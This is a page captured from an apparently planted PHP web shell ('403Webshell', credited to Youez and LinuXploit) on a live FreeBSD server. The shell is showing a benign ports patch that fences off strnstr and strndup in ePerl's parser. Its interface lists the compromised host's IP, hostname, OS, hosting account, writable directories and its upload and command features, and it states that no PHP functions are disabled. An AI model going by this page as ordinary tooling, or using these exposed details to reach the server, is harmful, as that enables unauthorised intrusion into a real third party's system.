403Webshell
Server IP : 82.208.35.60  /  Your IP : 216.73.217.116
Web Server : Apache/2.4.55 (FreeBSD) OpenSSL/1.1.1q-freebsd PHP/7.3.31
System : FreeBSD server7.d2m.cz 12.4-RELEASE-p9 FreeBSD 12.4-RELEASE-p9 GENERIC amd64
User : studiokobylisy_cz ( 1008)
PHP Version : 7.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/ports/lang/p5-ePerl/files/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/ports/lang/p5-ePerl/files/patch-eperl_parse.c
--- eperl_parse.c.orig	2009-02-27 12:23:36.000000000 +0000
+++ eperl_parse.c	2009-02-27 12:25:38.000000000 +0000
@@ -298,6 +298,7 @@
     return NULL;
 }
 
+#ifdef NOTDEF
 char *strnstr(char *buf, char *str, int n)
 {
     char *cp;
@@ -311,6 +312,7 @@
     }
     return NULL;
 }
+#endif
 
 char *strncasestr(char *buf, char *str, int n)
 {
@@ -326,6 +328,9 @@
     return NULL;
 }
 
+#if defined(__FreeBSD__)  
+#include <osreldate.h>  
+#if __FreeBSD_version <= 800057 && __FreeBSD_version > 800000 || __FreeBSD_version <= 701100  
 char *strndup(char *buf, int n)
 {
     char *cp;
@@ -334,7 +339,8 @@
     strncpy(cp, buf, n);
     return cp;
 }
-
+#endif
+#endif
 
 /*
 **  convert buffer from bristled format to plain format

Youez - 2016 - github.com/yon3zu
LinuXploit